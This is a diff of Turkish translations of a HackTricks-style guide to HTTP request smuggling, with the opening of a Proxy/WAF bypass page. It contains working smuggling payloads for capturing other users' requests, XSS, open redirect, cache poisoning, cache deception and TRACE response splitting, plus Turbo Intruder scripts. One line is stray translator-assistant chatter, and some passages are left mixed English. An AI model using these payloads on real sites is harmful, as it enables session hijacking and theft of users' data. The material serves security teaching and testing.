Bir POST işlemi sırasında bir parametrenin değeri olarak belirli bir isteği ekleyerek sonraki kullanıcının isteklerini yakalamak mümkündür. Bunu şu şekilde gerçekleştirebilirsiniz:
|
||||
|
||||
Aşağıdaki isteği bir parametrenin değeri olarak ekleyerek, sonraki istemcinin isteğini depolayabilirsiniz:
|
||||
Aşağıdaki isteği bir parametrenin değeri olarak ekleyerek sonraki istemcinin isteğini depolayabilirsiniz:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
|
||||
@ -481,20 +484,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
|
||||
|
||||
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
|
||||
```
|
||||
Bu senaryoda, **yorum parametresi** bir gönderinin yorum bölümündeki içerikleri, herkese açık bir sayfada saklamak için tasarlanmıştır. Sonuç olarak, sonraki isteğin içeriği bir yorum olarak görünecektir.
|
||||
Bu senaryoda, **yorum parametresi** genel erişime açık bir sayfadaki bir gönderinin yorum bölümündeki içeriği saklamak için tasarlanmıştır. Dolayısıyla sonraki isteğin içeriği bir yorum olarak görünecektir.
|
||||
|
||||
Ancak, bu tekniğin sınırlamaları vardır. Genel olarak, yalnızca kaçak istekte kullanılan parametre ayırıcıya kadar veri yakalar. URL kodlu form gönderimleri için bu ayırıcı `&` karakteridir. Bu, mağdur kullanıcının isteğinden yakalanan içeriğin ilk `&` ile duracağı anlamına gelir; bu, sorgu dizesinin bir parçası bile olabilir.
|
||||
Bununla birlikte, bu tekniğin sınırlamaları vardır. Genelde, smuggled request'te kullanılan parametre ayırıcıya kadar olan verileri yakalar. URL-encoded form gönderimleri için bu ayırıcı `&` karakteridir. Bu, mağdur kullanıcının isteğinden yakalanan içeriğin ilk `&`'ye kadar duracağı anlamına gelir; bu `&` sorgu dizisinin bir parçası bile olabilir.
|
||||
|
||||
Ayrıca, bu yaklaşımın TE.CL zafiyeti ile de geçerli olduğunu belirtmek gerekir. Bu tür durumlarda, istek `search=\r\n0` ile sona ermelidir. Satır sonu karakterlerinden bağımsız olarak, değerler arama parametresine eklenecektir.
|
||||
Ayrıca, bu yaklaşımın TE.CL zafiyetiyle de mümkün olduğunu belirtmekte fayda var. Bu durumda istek `search=\r\n0` ile sona ermelidir. Yeni satır karakterleri ne olursa olsun, değerler search parametresine eklenecektir.
|
||||
|
||||
### Yansıtılan XSS'yi istismar etmek için HTTP istek kaçakçılığını kullanma
|
||||
### HTTP Request Smuggling kullanarak Reflected XSS'i istismar etme
|
||||
|
||||
HTTP İstek Kaçakçılığı, **Yansıtılan XSS**'ye karşı savunmasız web sayfalarını istismar etmek için kullanılabilir ve önemli avantajlar sunar:
|
||||
HTTP Request Smuggling, **Reflected XSS**'e karşı savunmasız web sayfalarını istismar etmek için kullanılabilir ve önemli avantajlar sunar:
|
||||
|
||||
- Hedef kullanıcılarla etkileşim **gerekmez**.
|
||||
- HTTP istek başlıkları gibi **normalde ulaşılamayan** istek bölümlerinde XSS'nin istismarına olanak tanır.
|
||||
- HTTP request headers gibi normalde ulaşılamayan isteğin bölümlerinde XSS'in istismar edilmesine izin verir.
|
||||
|
||||
Bir web sitesinin User-Agent başlığı aracılığıyla Yansıtılan XSS'ye karşı savunmasız olduğu senaryolarda, aşağıdaki yük, bu zafiyeti nasıl istismar edeceğini göstermektedir:
|
||||
Bir web sitesi User-Agent header üzerinden Reflected XSS'e karşı savunmasızsa, aşağıdaki payload bu zafiyeti nasıl istismar edeceğinizi gösterir:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
||||
@ -515,36 +518,36 @@ Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
A=
|
||||
```
|
||||
Bu payload, zafiyeti istismar etmek için şu şekilde yapılandırılmıştır:
|
||||
This payload is structured to exploit the vulnerability by:
|
||||
|
||||
1. Görünüşte tipik bir `POST` isteği başlatmak, smuggling'in başlangıcını belirtmek için `Transfer-Encoding: chunked` başlığı ile.
|
||||
2. Ardından, chunked mesaj gövdesinin sonunu işaret eden bir `0` ile devam etmek.
|
||||
3. Sonra, `User-Agent` başlığına bir script enjekte edilen smuggled bir `GET` isteği tanıtılır; `<script>alert(1)</script>`, sunucu bu sonraki isteği işlediğinde XSS'i tetikler.
|
||||
1. Başlangıçta tipik görünen bir `POST` isteği başlatmak; smuggling'in başladığını belirtmek için `Transfer-Encoding: chunked` başlığıyla.
|
||||
2. Ardından, chunked mesaj gövdesinin sonunu işaret eden bir `0`.
|
||||
3. Sonra, smuggled bir `GET` isteği sokulur; burada `User-Agent` başlığına bir script, `<script>alert(1)</script>`, enjekte edilerek sunucu bu sonraki isteği işlediğinde XSS tetiklenir.
|
||||
|
||||
`User-Agent`'ı smuggling ile manipüle ederek, payload normal istek kısıtlamalarını aşar ve böylece Yansıtılan XSS zafiyetini standart dışı ama etkili bir şekilde istismar eder.
|
||||
User-Agent'ı smuggling yoluyla manipüle ederek payload normal istek kısıtlamalarını atlatır ve böylece Reflected XSS zafiyetini standart dışı ama etkili bir şekilde istismar eder.
|
||||
|
||||
#### HTTP/0.9
|
||||
|
||||
> [!CAUTION]
|
||||
> Kullanıcı içeriği, **`Content-type`** gibi bir **`text/plain`** ile yanıtlandığında XSS'in çalışmasını engelleyebilir. Eğer sunucu **HTTP/0.9**'u destekliyorsa, bunu aşmak mümkün olabilir!
|
||||
> Eğer kullanıcı içeriği, XSS'in çalışmasını engelleyen **`Content-type`** olarak örneğin **`text/plain`** ile bir yanıtta yansıtılıyorsa. Eğer sunucu **HTTP/0.9** destekliyorsa, bunun atlatılması mümkün olabilir!
|
||||
|
||||
HTTP/0.9 sürümü, 1.0'dan önceydi ve yalnızca **GET** fiilleri kullanır ve **başlıklar** ile yanıt vermez, sadece gövdeyi kullanır.
|
||||
HTTP/0.9 sürümü, 1.0'dan öncedir ve yalnızca **GET** verbünü kullanır; **headers** ile yanıt vermez, sadece gövdeyi döner.
|
||||
|
||||
[**bu yazıda**](https://mizu.re/post/twisty-python), bir istek smuggling ile ve **kullanıcının girişi ile yanıt verecek zayıf bir uç nokta** kullanılarak istismar edilmiştir. Yanıtta yansıtılacak parametre, **geçerli başlıklar ve gövde ile sahte bir HTTP/1.1 yanıtı** içeriyordu, böylece yanıt geçerli çalıştırılabilir JS kodu içerecek ve `Content-Type` olarak `text/html` olacaktır.
|
||||
In [**this writeup**](https://mizu.re/post/twisty-python), this was abused with a request smuggling and a **vulnerable endpoint that will reply with the input of the user** to smuggle a request with HTTP/0.9. Yanıtta yansıtılacak parametre, başlıklar ve gövde içeren sahte bir **HTTP/1.1 response (with headers and body)** içeriyordu; bu yüzden yanıt, `Content-Type`ı `text/html` olan geçerli çalıştırılabilir JS kodu içerecek şekilde oluştu.
|
||||
|
||||
### HTTP İsteği Smuggling ile Yerinde Yönlendirmeleri İstismar Etme <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
### Site İçi Yönlendirmeleri HTTP Request Smuggling ile İstismar Etme <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
|
||||
Uygulamalar genellikle yönlendirme URL'sindeki `Host` başlığından hostname kullanarak bir URL'den diğerine yönlendirir. Bu, Apache ve IIS gibi web sunucularında yaygındır. Örneğin, bir klasörü sonuna eğik çizgi olmadan istemek, eğik çizgiyi dahil etmek için bir yönlendirme ile sonuçlanır:
|
||||
Uygulamalar genellikle yönlendirme URL'sinde hostname olarak `Host` başlığındaki ana bilgisayar adını kullanarak bir URL'den diğerine yönlendirir. Bu, Apache ve IIS gibi web sunucularında yaygındır. Örneğin, bir klasör istenip sonuna eğik çizgi eklenmemişse, eğik çizgiyi eklemek için bir yönlendirme ile sonuçlanır:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: normal-website.com
|
||||
```
|
||||
Sonuçlar:
|
||||
Sonuç olarak:
|
||||
```
|
||||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://normal-website.com/home/
|
||||
```
|
||||
Görünüşte zararsız olsa da, bu davranış HTTP request smuggling kullanılarak kullanıcıları harici bir siteye yönlendirmek için manipüle edilebilir. Örneğin:
|
||||
Görünürde zararsız olsa da, bu davranış HTTP request smuggling kullanılarak kullanıcıları harici bir siteye yönlendirmek için istismar edilebilir. Örneğin:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
@ -558,7 +561,7 @@ GET /home HTTP/1.1
|
||||
Host: attacker-website.com
|
||||
Foo: X
|
||||
```
|
||||
Bu kaçak istek, sonraki işlenen kullanıcı isteğinin bir saldırgan kontrolündeki web sitesine yönlendirilmesine neden olabilir:
|
||||
Bu smuggled request, işlenen bir sonraki kullanıcı isteğinin saldırgan kontrolündeki bir web sitesine yönlendirilmesine neden olabilir:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: attacker-website.com
|
||||
@ -570,17 +573,17 @@ Sonuçlar:
|
||||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://attacker-website.com/home/
|
||||
```
|
||||
Bu senaryoda, bir kullanıcının JavaScript dosyası talebi ele geçirilir. Saldırgan, kötü niyetli JavaScript sunarak kullanıcıyı tehlikeye atabilir.
|
||||
Bu senaryoda, bir kullanıcının JavaScript dosyası isteği ele geçiriliyor. Saldırgan, kötü amaçlı JavaScript sunarak kullanıcıyı tehlikeye atabilir.
|
||||
|
||||
### HTTP Request Smuggling ile Web Cache Poisoning Sömürüsü <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Web cache poisoning, **ön uç altyapısının içerik önbelleğe alması** durumunda gerçekleştirilebilir; bu genellikle performansı artırmak için yapılır. Sunucunun yanıtını manipüle ederek, **önbelleği zehirlemek** mümkündür.
|
||||
Web cache poisoning, herhangi bir bileşenin **front-end infrastructure caches content** olması durumunda uygulanabilir; bu genellikle performansı artırmak içindir. Sunucunun yanıtını manipüle ederek **poison the cache** yapmak mümkün olabilir.
|
||||
|
||||
Daha önce, sunucu yanıtlarının 404 hatası dönecek şekilde nasıl değiştirilebileceğini gözlemledik (bkz. [Temel Örnekler](#basic-examples)). Benzer şekilde, sunucuyu `/static/include.js` talebine yanıt olarak `/index.html` içeriği sunmaya kandırmak mümkündür. Sonuç olarak, `/static/include.js` içeriği önbellekte `/index.html` ile değiştirilir, bu da `/static/include.js`'nin kullanıcılara erişilemez hale gelmesine neden olur ve bu durum bir Hizmet Reddi (DoS) ile sonuçlanabilir.
|
||||
Daha önce, sunucu yanıtlarının 404 hatası döndürecek şekilde nasıl değiştirilebileceğini görmüştük (refer to [Basic Examples](#basic-examples)). Benzer şekilde, sunucuyu `/static/include.js` isteğine `/index.html` içeriği döndürecek şekilde kandırmak mümkündür. Sonuç olarak, cache'deki `/static/include.js` içeriği `/index.html` içeriğiyle değiştirilir; bu, `/static/include.js`'in kullanıcılara erişilemez hale gelmesine ve potansiyel olarak bir Denial of Service (DoS) durumuna yol açabilir.
|
||||
|
||||
Bu teknik, bir **Açık Yönlendirme açığı** keşfedildiğinde veya **açık yönlendirmeye yerel bir yönlendirme** olduğunda özellikle güçlü hale gelir. Bu tür açıklar, saldırganın kontrolündeki bir script ile `/static/include.js`'nin önbelleğe alınmış içeriğini değiştirmek için sömürülebilir ve bu da güncellenmiş `/static/include.js`'yi talep eden tüm istemcilere karşı yaygın bir Cross-Site Scripting (XSS) saldırısını mümkün kılar.
|
||||
Bu teknik, bir **Open Redirect vulnerability** bulunması veya site içinde bir **on-site redirect to an open redirect** olması durumunda özellikle etkili hale gelir. Bu tür zayıflıklar, cache'deki `/static/include.js` içeriğini saldırganın kontrolündeki bir script ile değiştirmek için kullanılabilir ve güncellenmiş `/static/include.js`'i isteyen tüm istemcilere karşı yaygın bir Cross-Site Scripting (XSS) saldırısını fiilen mümkün kılar.
|
||||
|
||||
Aşağıda, **önbellek zehirlenmesi ile açık yönlendirmeye yerel bir yönlendirme** kombinasyonunun sömürülmesine dair bir illüstrasyon bulunmaktadır. Amaç, saldırgan tarafından kontrol edilen JavaScript kodunu sunmak için `/static/include.js`'nin önbellek içeriğini değiştirmektir:
|
||||
Aşağıda **cache poisoning combined with an on-site redirect to open redirect** kullanılarak yapılan bir istismarın gösterimi yer almaktadır. Amaç, cache'deki `/static/include.js` içeriğini saldırganın kontrolündeki JavaScript kodunu sunacak şekilde değiştirmektir:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable.net
|
||||
@ -598,20 +601,20 @@ Content-Length: 10
|
||||
|
||||
x=1
|
||||
```
|
||||
Not edin ki, `/post/next?postId=3` hedefleyen gömülü istek. Bu istek, **Host header değeri** kullanılarak alan adını belirlemek için `/post?postId=4`'e yönlendirilecektir. **Host header'ını** değiştirerek, saldırgan isteği kendi alanına yönlendirebilir (**yerinde yönlendirme ile açık yönlendirme**).
|
||||
Note the embedded request targeting `/post/next?postId=3`. This request will be redirected to `/post?postId=4`, utilizing the **Host header value** to determine the domain. By altering the **Host header**, the attacker can redirect the request to their domain (**on-site redirect to open redirect**).
|
||||
|
||||
Başarılı bir **socket poisoning** sonrasında, `/static/include.js` için bir **GET isteği** başlatılmalıdır. Bu istek, önceki **yerinde yönlendirme ile açık yönlendirme** isteği tarafından kirletilecek ve saldırgan tarafından kontrol edilen scriptin içeriğini alacaktır.
|
||||
Başarılı **socket poisoning** sonrası, `/static/include.js` için bir **GET request** başlatılmalıdır. Bu istek önceki **on-site redirect to open redirect** isteği tarafından kirletilecek ve saldırganın kontrolündeki scriptin içeriğini alacaktır.
|
||||
|
||||
Sonrasında, `/static/include.js` için yapılan herhangi bir istek, saldırganın scriptinin önbelleğe alınmış içeriğini sunacak ve etkili bir geniş XSS saldırısını başlatacaktır.
|
||||
Bundan sonra, `/static/include.js` için yapılacak tüm istekler saldırganın scriptinin önbelleğe alınmış içeriğini servis edecek ve etkin bir şekilde geniş çaplı bir XSS saldırısı başlatılacaktır.
|
||||
|
||||
### HTTP istek kaçırma kullanarak web önbellek aldatması gerçekleştirme <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
|
||||
> **Web önbellek zehirlenmesi ile web önbellek aldatması arasındaki fark nedir?**
|
||||
> **web cache poisoning ile web cache deception arasındaki fark nedir?**
|
||||
>
|
||||
> - **Web önbellek zehirlenmesi**'nde, saldırgan uygulamanın önbellekte bazı kötü niyetli içerikleri saklamasına neden olur ve bu içerik önbellekten diğer uygulama kullanıcılarına sunulur.
|
||||
> - **Web önbellek aldatması**'nda, saldırgan uygulamanın başka bir kullanıcıya ait bazı hassas içerikleri önbellekte saklamasına neden olur ve saldırgan bu içeriği önbellekten geri alır.
|
||||
> - **web cache poisoning**'de, saldırgan uygulamanın önbelleğe bazı kötü amaçlı içerikler kaydetmesine neden olur ve bu içerikler önbellekten diğer uygulama kullanıcılarına servis edilir.
|
||||
> - **web cache deception**'da, saldırgan uygulamanın başka bir kullanıcıya ait bazı hassas içerikleri önbelleğe almasını sağlar ve ardından bu içeriği önbellekten alır.
|
||||
|
||||
Saldırgan, hassas kullanıcıya özel içeriği alacak şekilde kaçırılmış bir istek hazırlar. Aşağıdaki örneği düşünün:
|
||||
Saldırgan, hassas kullanıcıya özel içeriği getiren bir smuggled request hazırlar. Aşağıdaki örneği inceleyin:
|
||||
```markdown
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
@ -622,17 +625,17 @@ Saldırgan, hassas kullanıcıya özel içeriği alacak şekilde kaçırılmış
|
||||
`GET /private/messages HTTP/1.1`\
|
||||
`Foo: X`
|
||||
```
|
||||
Eğer bu kaçak istek, statik içerik için tasarlanmış bir önbellek girişini zehirliyorsa (örneğin, `/someimage.png`), kurbanın `/private/messages` adresindeki hassas verileri statik içeriğin önbellek girişi altında önbelleğe alınabilir. Sonuç olarak, saldırgan bu önbelleğe alınmış hassas verilere erişim sağlayabilir.
|
||||
Eğer bu smuggled request, statik içerik için ayrılmış bir önbellek girdisini (ör. `/someimage.png`) zehirlerse, mağdurun `/private/messages` içindeki hassas verileri statik içeriğin önbellek girdisi altında saklanmış olabilir. Sonuç olarak, saldırgan bu önbelleğe alınmış hassas verileri elde edebilir.
|
||||
|
||||
### HTTP Request Smuggling ile TRACE İstismar Etme <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### TRACE'i HTTP Request Smuggling ile kötüye kullanma <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
[**Bu yazıda**](https://portswigger.net/research/trace-desync-attack), eğer sunucuda TRACE yöntemi etkinse, bunun HTTP Request Smuggling ile istismar edilebileceği önerilmektedir. Bunun nedeni, bu yöntemin sunucuya gönderilen herhangi bir başlığı yanıtın gövdesinin bir parçası olarak yansıtmasıdır. Örneğin:
|
||||
[**In this post**](https://portswigger.net/research/trace-desync-attack) öneriyor ki sunucuda TRACE metodu etkinse, HTTP Request Smuggling ile kötüye kullanmak mümkün olabilir. Bunun nedeni, bu metodun sunucuya gönderilen herhangi bir header'ı yanıtın gövdesinde yansıtmasıdır. Örneğin:
|
||||
```
|
||||
TRACE / HTTP/1.1
|
||||
Host: example.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
```
|
||||
I'm ready to assist you with the translation. Please provide the text you would like me to translate.
|
||||
Lütfen çevirisini istediğiniz README.md içeriğini buraya yapıştırın. Kod blokları, bağlantılar ve özel etiketler olduğu gibi korunarak Türkçeye çevrilecektir.
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: message/http
|
||||
@ -643,15 +646,15 @@ Host: vulnerable.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||
```
|
||||
Bir davranışı kötüye kullanma örneği, **önce bir HEAD isteği sızdırmak** olacaktır. Bu istek, yalnızca bir GET isteğinin **başlıklarıyla** yanıtlanacaktır (**`Content-Type`** bunlar arasında). Ve hemen ardından **HEAD isteğinden sonra bir TRACE isteği sızdırmak**, bu istek **gönderilen verileri yansıtacaktır**.\
|
||||
HEAD yanıtı bir `Content-Length` başlığı içereceğinden, **TRACE isteğinin yanıtı, HEAD yanıtının gövdesi olarak işlenecek ve bu nedenle yanıt içinde rastgele verileri yansıtacaktır**.\
|
||||
Bu yanıt, bağlantı üzerinden bir sonraki isteğe gönderilecektir, bu nedenle bu, **örneğin rastgele JS kodu enjekte etmek için önbelleğe alınmış bir JS dosyasında kullanılabilir**.
|
||||
Bu davranışın kötüye kullanımına bir örnek olarak **smuggle first a HEAD request** yapılabilir. Bu isteğe yalnızca bir GET isteğinin **headers**'ı ile cevap verilecektir (bunların arasında **`Content-Type`** de vardır). Ve HEAD'tan hemen sonra **smuggle immediately after the HEAD a TRACE request** gönderilir; bu, gönderilen veriyi yansıtacaktır.\
|
||||
HEAD yanıtı bir `Content-Length` header'ı içereceğinden, **TRACE isteğinin yanıtı HEAD yanıtının gövdesiymiş gibi işlenecek ve böylece yanıtta rastgele veriler yansıtılabilecektir**.\
|
||||
Bu yanıt bağlantı üzerindeki sonraki isteğe gönderilecektir; bu nedenle örneğin önbelleğe alınmış bir JS dosyasında rastgele JS kodu enjekte etmek için **kullanılabilir**.
|
||||
|
||||
### HTTP Yanıt Bölme ile TRACE Kötüye Kullanımı <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### TRACE'ı HTTP Response Splitting yoluyla kötüye kullanma <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
[**bu gönderiyi**](https://portswigger.net/research/trace-desync-attack) takip etmeye devam etmek, TRACE yöntemini kötüye kullanmanın başka bir yolunu önermektedir. Yorumlandığı gibi, bir HEAD isteği ve bir TRACE isteği sızdırarak, HEAD isteğine yanıt olarak **yansıtılan bazı verileri kontrol etmek** mümkündür. HEAD isteğinin gövdesinin uzunluğu esasen Content-Length başlığında belirtilmiştir ve TRACE isteğine verilen yanıtla oluşmaktadır.
|
||||
Takip etmeniz önerilen [**bu yazı**](https://portswigger.net/research/trace-desync-attack), TRACE metodunun başka bir kötüye kullanım yolunu anlatıyor. Belirtildiği gibi, bir HEAD isteği ve bir TRACE isteği smuggle edilerek HEAD yanıtındaki bazı yansıtılmış veriler kontrol edilebilir. HEAD isteğinin gövdesinin uzunluğu temelde `Content-Length` header'ında belirtilir ve TRACE isteğinin yanıtı tarafından oluşturulur.
|
||||
|
||||
Bu nedenle, yeni fikir, bu Content-Length ve TRACE yanıtındaki verileri bilerek, TRACE yanıtının Content-Length'in son baytından sonra geçerli bir HTTP yanıtı içermesini sağlamak, bir saldırganın bir sonraki yanıt için isteği tamamen kontrol etmesine olanak tanımaktır (bu, bir önbellek zehirlemesi gerçekleştirmek için kullanılabilir).
|
||||
Bu nedenle yeni fikir şu: bu `Content-Length` değerini ve TRACE yanıtında verilen veriyi bildiğinizde, TRACE yanıtının `Content-Length`'ın son baytından sonra geçerli bir HTTP yanıtı içermesini sağlayabilirsiniz; böylece bir saldırgan sonraki yanıt için yapılacak isteği tamamen kontrol edebilir (bu, cache poisoning gerçekleştirmek için kullanılabilir).
|
||||
|
||||
Örnek:
|
||||
```
|
||||
@ -672,7 +675,7 @@ Content-Length: 44\r\n
|
||||
\r\n
|
||||
<script>alert("response splitting")</script>
|
||||
```
|
||||
Bu yanıtları üretecektir (HEAD yanıtının bir Content-Length içerdiğine dikkat edin, bu TRACE yanıtını HEAD gövdesinin bir parçası haline getirir ve HEAD Content-Length sona erdiğinde geçerli bir HTTP yanıtı sızdırılır):
|
||||
Aşağıdaki yanıtları üretecek (HEAD yanıtının Content-Length'e sahip olması sayesinde TRACE yanıtının HEAD gövdesinin bir parçası haline gelmesine ve HEAD Content-Length sona erdiğinde geçerli bir HTTP yanıtının smuggled olmasına dikkat edin):
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
@ -693,25 +696,25 @@ Content-Length: 50
|
||||
|
||||
<script>alert(“arbitrary response”)</script>
|
||||
```
|
||||
### HTTP İstek Sızdırma ve HTTP Yanıtı Senkronizasyonunun Silahlandırılması
|
||||
### HTTP Request Smuggling'ı HTTP Response Desynchronisation ile silahlandırma
|
||||
|
||||
Bir HTTP İstek Sızdırma açığı buldunuz ve bunu nasıl istismar edeceğinizi bilmiyor musunuz? Bu diğer istismar yöntemlerini deneyin:
|
||||
HTTP Request Smuggling zafiyeti mi buldunuz ve nasıl sömüreceğinizi bilmiyor musunuz? Bu diğer sömürü yöntemlerini deneyin:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../http-response-smuggling-desync.md
|
||||
{{#endref}}
|
||||
|
||||
### Diğer HTTP İstek Sızdırma Teknikleri
|
||||
### Diğer HTTP Request Smuggling teknikleri
|
||||
|
||||
- Tarayıcı HTTP İstek Sızdırma (İstemci Tarafı)
|
||||
- Browser HTTP Request Smuggling (Client Side)
|
||||
|
||||
|
||||
{{#ref}}
|
||||
browser-http-request-smuggling.md
|
||||
{{#endref}}
|
||||
|
||||
- HTTP/2 Düşürmelerinde İstek Sızdırma
|
||||
- Request Smuggling in HTTP/2 Downgrades
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -722,7 +725,7 @@ request-smuggling-in-http-2-downgrades.md
|
||||
|
||||
### CL.TE
|
||||
|
||||
From [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
|
||||
Kaynak: [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
|
||||
@ -763,7 +766,7 @@ table.add(req)
|
||||
```
|
||||
### TE.CL
|
||||
|
||||
From: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
|
||||
Kaynak: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
@ -808,13 +811,13 @@ table.add(req)
|
||||
## Araçlar
|
||||
|
||||
- HTTP Hacker (Burp BApp Store) – birleştirme/çerçeveleme ve düşük seviyeli HTTP davranışını görselleştirir
|
||||
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Özel Eylemi "Kaçakçılık mı yoksa borulama mı?"
|
||||
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Özel Eylem "Smuggling or pipelining?"
|
||||
- [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
|
||||
- [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
|
||||
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
||||
- [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
|
||||
- [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
|
||||
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Bu araç, garip istek kaçakçılığı tutarsızlıklarını bulmak için yararlı olan dil bilgisi tabanlı bir HTTP Fuzzer'dır.
|
||||
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Bu araç, gramer tabanlı bir HTTP Fuzzer olup garip request smuggling tutarsızlıklarını bulmak için kullanışlıdır.
|
||||
|
||||
## Referanslar
|
||||
|
||||
@ -827,10 +830,10 @@ table.add(req)
|
||||
- [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
|
||||
- [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
|
||||
- [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
- Yanlış pozitiflere dikkat edin: HTTP borulamasını istek kaçakçılığından nasıl ayırt edersiniz – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
|
||||
- Yanlış false‑positive uyarısına dikkat: HTTP pipelining ile request smuggling arasındaki fark nasıl ayırt edilir – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
|
||||
- [https://http1mustdie.com/](https://http1mustdie.com/)
|
||||
- Tarayıcı Destekli Desync Saldırıları – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
|
||||
- PortSwigger Akademisi – istemci tarafı desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
|
||||
- Tarayıcı Tabanlı Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
|
||||
- PortSwigger Academy – istemci tarafı desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,11 +1,11 @@
|
||||
# Proxy / WAF Koruma Aşma
|
||||
# Proxy / WAF Koruma Bypass
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Nginx ACL Kurallarını Yol Adı Manipülasyonu ile Aşma <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
|
||||
## Nginx ACL kurallarını Pathname Manipulation ile Bypass Etme <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
|
||||
|
||||
Bu araştırmadan [teknikler](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
|
||||
Teknikler [from this research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
|
||||
|
||||
Nginx kural örneği:
|
||||
```plaintext
|
||||
@ -17,37 +17,37 @@ location = /admin/ {
|
||||
deny all;
|
||||
}
|
||||
```
|
||||
